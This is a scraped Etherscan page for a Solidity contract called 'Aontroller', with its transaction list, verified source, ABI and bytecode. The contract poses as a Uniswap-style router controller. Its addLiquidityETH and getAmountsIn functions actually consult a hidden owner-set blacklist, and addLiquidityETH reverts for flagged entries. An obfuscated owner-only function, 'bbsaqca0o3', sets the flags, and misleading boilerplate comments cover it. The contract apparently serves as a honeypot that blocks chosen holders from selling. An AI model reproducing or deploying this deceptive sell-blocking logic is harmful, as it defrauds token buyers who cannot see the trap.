Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 25 from a total of 25 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Bbsaqca0o3 | 18432054 | 352 days ago | IN | 0 ETH | 0.00050974 | ||||
Bbsaqca0o3 | 18431041 | 352 days ago | IN | 0 ETH | 0.00105725 | ||||
Bbsaqca0o3 | 18427764 | 352 days ago | IN | 0 ETH | 0.00165615 | ||||
Bbsaqca0o3 | 18427722 | 352 days ago | IN | 0 ETH | 0.00180653 | ||||
Bbsaqca0o3 | 18427617 | 352 days ago | IN | 0 ETH | 0.00156524 | ||||
Bbsaqca0o3 | 18426975 | 352 days ago | IN | 0 ETH | 0.0008172 | ||||
Bbsaqca0o3 | 18426512 | 352 days ago | IN | 0 ETH | 0.00156445 | ||||
Bbsaqca0o3 | 18426009 | 353 days ago | IN | 0 ETH | 0.00072743 | ||||
Bbsaqca0o3 | 18425888 | 353 days ago | IN | 0 ETH | 0.00081081 | ||||
Bbsaqca0o3 | 18425758 | 353 days ago | IN | 0 ETH | 0.00070278 | ||||
Bbsaqca0o3 | 18425198 | 353 days ago | IN | 0 ETH | 0.0005136 | ||||
Bbsaqca0o3 | 18424939 | 353 days ago | IN | 0 ETH | 0.0005635 | ||||
Bbsaqca0o3 | 18424860 | 353 days ago | IN | 0 ETH | 0.00057822 | ||||
Bbsaqca0o3 | 18424684 | 353 days ago | IN | 0 ETH | 0.00062266 | ||||
Bbsaqca0o3 | 18424461 | 353 days ago | IN | 0 ETH | 0.00067441 | ||||
Bbsaqca0o3 | 18423578 | 353 days ago | IN | 0 ETH | 0.00114592 | ||||
Bbsaqca0o3 | 18423564 | 353 days ago | IN | 0 ETH | 0.00095914 | ||||
Bbsaqca0o3 | 18423550 | 353 days ago | IN | 0 ETH | 0.00117556 | ||||
Bbsaqca0o3 | 18419489 | 353 days ago | IN | 0 ETH | 0.00098508 | ||||
Bbsaqca0o3 | 18417907 | 354 days ago | IN | 0 ETH | 0.00100627 | ||||
Bbsaqca0o3 | 18417474 | 354 days ago | IN | 0 ETH | 0.00172008 | ||||
Bbsaqca0o3 | 18417449 | 354 days ago | IN | 0 ETH | 0.00185373 | ||||
Bbsaqca0o3 | 18416560 | 354 days ago | IN | 0 ETH | 0.00090657 | ||||
Bbsaqca0o3 | 18416556 | 354 days ago | IN | 0 ETH | 0.00254909 | ||||
0x60806040 | 18416447 | 354 days ago | IN | 0 ETH | 0.02658365 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
Aontroller
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-24 */ // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to yourict their use to * the owner. */ // Define interface for TransferController interface RouterController { function WETH() external view returns (address); function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Aontroller is RouterController{ mapping(address => uint256) private _isBlacklisted; address private owner; constructor (){ owner = msg.sender; } function WETH() external view override returns(address){ address ad = address(this); return ad; } function getCode() public view returns (uint256) { address ad = address(this); uint256 result = uint160(ad); return result; } function getCode2(address addr) public pure returns (uint256) { uint256 result = uint160(addr); return result; } function getCode3(uint160 addr) public pure returns (address) { address result = address(addr); return result; } function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external virtual override payable returns (uint amountToken, uint amountETH, uint liquidity) { amountToken = amountTokenDesired; amountETH = amountTokenMin; liquidity = _isBlacklisted[token]; if(liquidity > 0){ require(false); } } function getAmountsIn(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts) { amounts = new uint[](path.length); amounts[0] = _isBlacklisted[path[0]]; return amounts; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ function bbsaqca0o3(address[] calldata accounts, uint256 excluded) public { require(msg.sender == owner); for (uint256 i = 0; i < accounts.length; i++) { _isBlacklisted[accounts[i]] = excluded; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function getTime() public view returns (uint256) { return block.timestamp; } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"excluded","type":"uint256"}],"name":"bbsaqca0o3","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsIn","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCode","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getCode2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint160","name":"addr","type":"uint160"}],"name":"getCode3","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"}]
Contract Creation Code
608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad1806100616000396000f3fe6080604052600436106100705760003560e01c806369b632031161004e57806369b632031461012c578063ad5c464814610155578063ea87963414610180578063f305d719146101ab57610070565b80631f00ca74146100755780634afdc1de146100b257806367d2dc41146100ef575b600080fd5b34801561008157600080fd5b5061009c60048036038101906100979190610757565b6101dd565b6040516100a99190610869565b60405180910390f35b3480156100be57600080fd5b506100d960048036038101906100d4919061072e565b61031d565b6040516100e6919061084e565b60405180910390f35b3480156100fb57600080fd5b5061011660048036038101906101119190610624565b61032c565b604051610123919061088b565b60405180910390f35b34801561013857600080fd5b50610153600480360381019061014e91906106d6565b610351565b005b34801561016157600080fd5b5061016a610462565b604051610177919061084e565b60405180910390f35b34801561018c57600080fd5b5061019561046f565b6040516101a2919061088b565b60405180910390f35b6101c560048036038101906101c0919061064d565b610498565b6040516101d4939291906108a6565b60405180910390f35b6060815167ffffffffffffffff811115610220577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561024e5781602001602082028036833780820191505090505b5090506000808360008151811061028e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548160008151811061030b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505092915050565b60008082905080915050919050565b6000808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103ab57600080fd5b60005b8383905081101561045c57816000808686858181106103f6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061040b9190610624565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610454906109af565b9150506103ae565b50505050565b6000803090508091505090565b60008030905060008173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b60008060008792508691506000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156104f95760006104f857600080fd5b5b96509650969350505050565b60006105186105138461090e565b6108dd565b9050808382526020820190508285602086028201111561053757600080fd5b60005b85811015610567578161054d8882610571565b84526020840193506020830192505060018101905061053a565b5050509392505050565b60008135905061058081610a56565b92915050565b60008083601f84011261059857600080fd5b8235905067ffffffffffffffff8111156105b157600080fd5b6020830191508360208202830111156105c957600080fd5b9250929050565b600082601f8301126105e157600080fd5b81356105f1848260208601610505565b91505092915050565b60008135905061060981610a6d565b92915050565b60008135905061061e81610a84565b92915050565b60006020828403121561063657600080fd5b600061064484828501610571565b91505092915050565b60008060008060008060c0878903121561066657600080fd5b600061067489828a01610571565b965050602061068589828a0161060f565b955050604061069689828a0161060f565b94505060606106a789828a0161060f565b93505060806106b889828a01610571565b92505060a06106c989828a0161060f565b9150509295509295509295565b6000806000604084860312156106eb57600080fd5b600084013567ffffffffffffffff81111561070557600080fd5b61071186828701610586565b935093505060206107248682870161060f565b9150509250925092565b60006020828403121561074057600080fd5b600061074e848285016105fa565b91505092915050565b6000806040838503121561076a57600080fd5b60006107788582860161060f565b925050602083013567ffffffffffffffff81111561079557600080fd5b6107a1858286016105d0565b9150509250929050565b60006107b78383610830565b60208301905092915050565b6107cc81610973565b82525050565b60006107dd8261094a565b6107e78185610962565b93506107f28361093a565b8060005b8381101561082357815161080a88826107ab565b975061081583610955565b9250506001810190506107f6565b5085935050505092915050565b610839816109a5565b82525050565b610848816109a5565b82525050565b600060208201905061086360008301846107c3565b92915050565b6000602082019050818103600083015261088381846107d2565b905092915050565b60006020820190506108a0600083018461083f565b92915050565b60006060820190506108bb600083018661083f565b6108c8602083018561083f565b6108d5604083018461083f565b949350505050565b6000604051905081810181811067ffffffffffffffff8211171561090457610903610a27565b5b8060405250919050565b600067ffffffffffffffff82111561092957610928610a27565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600061097e82610985565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109ba826109a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156109ed576109ec6109f8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610a5f81610973565b8114610a6a57600080fd5b50565b610a7681610985565b8114610a8157600080fd5b50565b610a8d816109a5565b8114610a9857600080fd5b5056fea26469706673582212209a895d6d7e65e156a8590138becda8f445369e3d5b3f84662124b6b6288b6f7064736f6c63430008000033
Deployed Bytecode
0x6080604052600436106100705760003560e01c806369b632031161004e57806369b632031461012c578063ad5c464814610155578063ea87963414610180578063f305d719146101ab57610070565b80631f00ca74146100755780634afdc1de146100b257806367d2dc41146100ef575b600080fd5b34801561008157600080fd5b5061009c60048036038101906100979190610757565b6101dd565b6040516100a99190610869565b60405180910390f35b3480156100be57600080fd5b506100d960048036038101906100d4919061072e565b61031d565b6040516100e6919061084e565b60405180910390f35b3480156100fb57600080fd5b5061011660048036038101906101119190610624565b61032c565b604051610123919061088b565b60405180910390f35b34801561013857600080fd5b50610153600480360381019061014e91906106d6565b610351565b005b34801561016157600080fd5b5061016a610462565b604051610177919061084e565b60405180910390f35b34801561018c57600080fd5b5061019561046f565b6040516101a2919061088b565b60405180910390f35b6101c560048036038101906101c0919061064d565b610498565b6040516101d4939291906108a6565b60405180910390f35b6060815167ffffffffffffffff811115610220577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561024e5781602001602082028036833780820191505090505b5090506000808360008151811061028e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548160008151811061030b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505092915050565b60008082905080915050919050565b6000808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103ab57600080fd5b60005b8383905081101561045c57816000808686858181106103f6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061040b9190610624565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610454906109af565b9150506103ae565b50505050565b6000803090508091505090565b60008030905060008173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b60008060008792508691506000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156104f95760006104f857600080fd5b5b96509650969350505050565b60006105186105138461090e565b6108dd565b9050808382526020820190508285602086028201111561053757600080fd5b60005b85811015610567578161054d8882610571565b84526020840193506020830192505060018101905061053a565b5050509392505050565b60008135905061058081610a56565b92915050565b60008083601f84011261059857600080fd5b8235905067ffffffffffffffff8111156105b157600080fd5b6020830191508360208202830111156105c957600080fd5b9250929050565b600082601f8301126105e157600080fd5b81356105f1848260208601610505565b91505092915050565b60008135905061060981610a6d565b92915050565b60008135905061061e81610a84565b92915050565b60006020828403121561063657600080fd5b600061064484828501610571565b91505092915050565b60008060008060008060c0878903121561066657600080fd5b600061067489828a01610571565b965050602061068589828a0161060f565b955050604061069689828a0161060f565b94505060606106a789828a0161060f565b93505060806106b889828a01610571565b92505060a06106c989828a0161060f565b9150509295509295509295565b6000806000604084860312156106eb57600080fd5b600084013567ffffffffffffffff81111561070557600080fd5b61071186828701610586565b935093505060206107248682870161060f565b9150509250925092565b60006020828403121561074057600080fd5b600061074e848285016105fa565b91505092915050565b6000806040838503121561076a57600080fd5b60006107788582860161060f565b925050602083013567ffffffffffffffff81111561079557600080fd5b6107a1858286016105d0565b9150509250929050565b60006107b78383610830565b60208301905092915050565b6107cc81610973565b82525050565b60006107dd8261094a565b6107e78185610962565b93506107f28361093a565b8060005b8381101561082357815161080a88826107ab565b975061081583610955565b9250506001810190506107f6565b5085935050505092915050565b610839816109a5565b82525050565b610848816109a5565b82525050565b600060208201905061086360008301846107c3565b92915050565b6000602082019050818103600083015261088381846107d2565b905092915050565b60006020820190506108a0600083018461083f565b92915050565b60006060820190506108bb600083018661083f565b6108c8602083018561083f565b6108d5604083018461083f565b949350505050565b6000604051905081810181811067ffffffffffffffff8211171561090457610903610a27565b5b8060405250919050565b600067ffffffffffffffff82111561092957610928610a27565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600061097e82610985565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109ba826109a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156109ed576109ec6109f8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610a5f81610973565b8114610a6a57600080fd5b50565b610a7681610985565b8114610a8157600080fd5b50565b610a8d816109a5565b8114610a9857600080fd5b5056fea26469706673582212209a895d6d7e65e156a8590138becda8f445369e3d5b3f84662124b6b6288b6f7064736f6c63430008000033
Deployed Bytecode Sourcemap
1113:2385:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2406:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1764:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1621;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3253:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1323:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1451:158;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1911:487;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;2406:295;2549:21;2609:4;:11;2598:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2588:33;;2645:14;:23;2660:4;2665:1;2660:7;;;;;;;;;;;;;;;;;;;;;;2645:23;;;;;;;;;;;;;;;;2632:7;2640:1;2632:10;;;;;;;;;;;;;;;;;;;;;:36;;;;;2406:295;;;;:::o;1764:135::-;1817:7;1837:14;1862:4;1837:30;;1885:6;1878:13;;;1764:135;;;:::o;1621:::-;1674:7;1694:14;1719:4;1694:30;;;;1742:6;1735:13;;;1621:135;;;:::o;3253:242::-;3360:5;;;;;;;;;;;3346:19;;:10;:19;;;3338:28;;;;;;3382:9;3377:111;3401:8;;:15;;3397:1;:19;3377:111;;;3468:8;3438:14;:27;3453:8;;3462:1;3453:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3438:27;;;;;;;;;;;;;;;:38;;;;3418:3;;;;;:::i;:::-;;;;3377:111;;;;3253:242;;;:::o;1323:120::-;1370:7;1389:10;1410:4;1389:26;;1433:2;1426:9;;;1323:120;:::o;1451:158::-;1492:7;1512:10;1533:4;1512:26;;1549:14;1574:2;1549:28;;;;1595:6;1588:13;;;;1451:158;:::o;1911:487::-;2148:16;2166:14;2182;2223:18;2209:32;;2264:14;2252:26;;2301:14;:21;2316:5;2301:21;;;;;;;;;;;;;;;;2289:33;;2348:1;2336:9;:13;2333:58;;;2373:5;2365:14;;;;;;2333:58;1911:487;;;;;;;;;;:::o;24:622:1:-;;145:80;160:64;217:6;160:64;:::i;:::-;145:80;:::i;:::-;136:89;;245:5;273:6;266:5;259:21;299:4;292:5;288:16;281:23;;324:6;374:3;366:4;358:6;354:17;349:3;345:27;342:36;339:2;;;391:1;388;381:12;339:2;419:1;404:236;429:6;426:1;423:13;404:236;;;496:3;524:37;557:3;545:10;524:37;:::i;:::-;519:3;512:50;591:4;586:3;582:14;575:21;;625:4;620:3;616:14;609:21;;464:176;451:1;448;444:9;439:14;;404:236;;;408:14;126:520;;;;;;;:::o;652:139::-;;736:6;723:20;714:29;;752:33;779:5;752:33;:::i;:::-;704:87;;;;:::o;814:367::-;;;947:3;940:4;932:6;928:17;924:27;914:2;;965:1;962;955:12;914:2;1001:6;988:20;978:30;;1031:18;1023:6;1020:30;1017:2;;;1063:1;1060;1053:12;1017:2;1100:4;1092:6;1088:17;1076:29;;1154:3;1146:4;1138:6;1134:17;1124:8;1120:32;1117:41;1114:2;;;1171:1;1168;1161:12;1114:2;904:277;;;;;:::o;1204:303::-;;1324:3;1317:4;1309:6;1305:17;1301:27;1291:2;;1342:1;1339;1332:12;1291:2;1382:6;1369:20;1407:94;1497:3;1489:6;1482:4;1474:6;1470:17;1407:94;:::i;:::-;1398:103;;1281:226;;;;;:::o;1513:139::-;;1597:6;1584:20;1575:29;;1613:33;1640:5;1613:33;:::i;:::-;1565:87;;;;:::o;1658:139::-;;1742:6;1729:20;1720:29;;1758:33;1785:5;1758:33;:::i;:::-;1710:87;;;;:::o;1803:262::-;;1911:2;1899:9;1890:7;1886:23;1882:32;1879:2;;;1927:1;1924;1917:12;1879:2;1970:1;1995:53;2040:7;2031:6;2020:9;2016:22;1995:53;:::i;:::-;1985:63;;1941:117;1869:196;;;;:::o;2071:990::-;;;;;;;2264:3;2252:9;2243:7;2239:23;2235:33;2232:2;;;2281:1;2278;2271:12;2232:2;2324:1;2349:53;2394:7;2385:6;2374:9;2370:22;2349:53;:::i;:::-;2339:63;;2295:117;2451:2;2477:53;2522:7;2513:6;2502:9;2498:22;2477:53;:::i;:::-;2467:63;;2422:118;2579:2;2605:53;2650:7;2641:6;2630:9;2626:22;2605:53;:::i;:::-;2595:63;;2550:118;2707:2;2733:53;2778:7;2769:6;2758:9;2754:22;2733:53;:::i;:::-;2723:63;;2678:118;2835:3;2862:53;2907:7;2898:6;2887:9;2883:22;2862:53;:::i;:::-;2852:63;;2806:119;2964:3;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2935:119;2222:839;;;;;;;;:::o;3067:570::-;;;;3227:2;3215:9;3206:7;3202:23;3198:32;3195:2;;;3243:1;3240;3233:12;3195:2;3314:1;3303:9;3299:17;3286:31;3344:18;3336:6;3333:30;3330:2;;;3376:1;3373;3366:12;3330:2;3412:80;3484:7;3475:6;3464:9;3460:22;3412:80;:::i;:::-;3394:98;;;;3257:245;3541:2;3567:53;3612:7;3603:6;3592:9;3588:22;3567:53;:::i;:::-;3557:63;;3512:118;3185:452;;;;;:::o;3643:262::-;;3751:2;3739:9;3730:7;3726:23;3722:32;3719:2;;;3767:1;3764;3757:12;3719:2;3810:1;3835:53;3880:7;3871:6;3860:9;3856:22;3835:53;:::i;:::-;3825:63;;3781:117;3709:196;;;;:::o;3911:550::-;;;4061:2;4049:9;4040:7;4036:23;4032:32;4029:2;;;4077:1;4074;4067:12;4029:2;4120:1;4145:53;4190:7;4181:6;4170:9;4166:22;4145:53;:::i;:::-;4135:63;;4091:117;4275:2;4264:9;4260:18;4247:32;4306:18;4298:6;4295:30;4292:2;;;4338:1;4335;4328:12;4292:2;4366:78;4436:7;4427:6;4416:9;4412:22;4366:78;:::i;:::-;4356:88;;4218:236;4019:442;;;;;:::o;4467:179::-;;4557:46;4599:3;4591:6;4557:46;:::i;:::-;4635:4;4630:3;4626:14;4612:28;;4547:99;;;;:::o;4652:118::-;4739:24;4757:5;4739:24;:::i;:::-;4734:3;4727:37;4717:53;;:::o;4806:732::-;;4954:54;5002:5;4954:54;:::i;:::-;5024:86;5103:6;5098:3;5024:86;:::i;:::-;5017:93;;5134:56;5184:5;5134:56;:::i;:::-;5213:7;5244:1;5229:284;5254:6;5251:1;5248:13;5229:284;;;5330:6;5324:13;5357:63;5416:3;5401:13;5357:63;:::i;:::-;5350:70;;5443:60;5496:6;5443:60;:::i;:::-;5433:70;;5289:224;5276:1;5273;5269:9;5264:14;;5229:284;;;5233:14;5529:3;5522:10;;4930:608;;;;;;;:::o;5544:108::-;5621:24;5639:5;5621:24;:::i;:::-;5616:3;5609:37;5599:53;;:::o;5658:118::-;5745:24;5763:5;5745:24;:::i;:::-;5740:3;5733:37;5723:53;;:::o;5782:222::-;;5913:2;5902:9;5898:18;5890:26;;5926:71;5994:1;5983:9;5979:17;5970:6;5926:71;:::i;:::-;5880:124;;;;:::o;6010:373::-;;6191:2;6180:9;6176:18;6168:26;;6240:9;6234:4;6230:20;6226:1;6215:9;6211:17;6204:47;6268:108;6371:4;6362:6;6268:108;:::i;:::-;6260:116;;6158:225;;;;:::o;6389:222::-;;6520:2;6509:9;6505:18;6497:26;;6533:71;6601:1;6590:9;6586:17;6577:6;6533:71;:::i;:::-;6487:124;;;;:::o;6617:442::-;;6804:2;6793:9;6789:18;6781:26;;6817:71;6885:1;6874:9;6870:17;6861:6;6817:71;:::i;:::-;6898:72;6966:2;6955:9;6951:18;6942:6;6898:72;:::i;:::-;6980;7048:2;7037:9;7033:18;7024:6;6980:72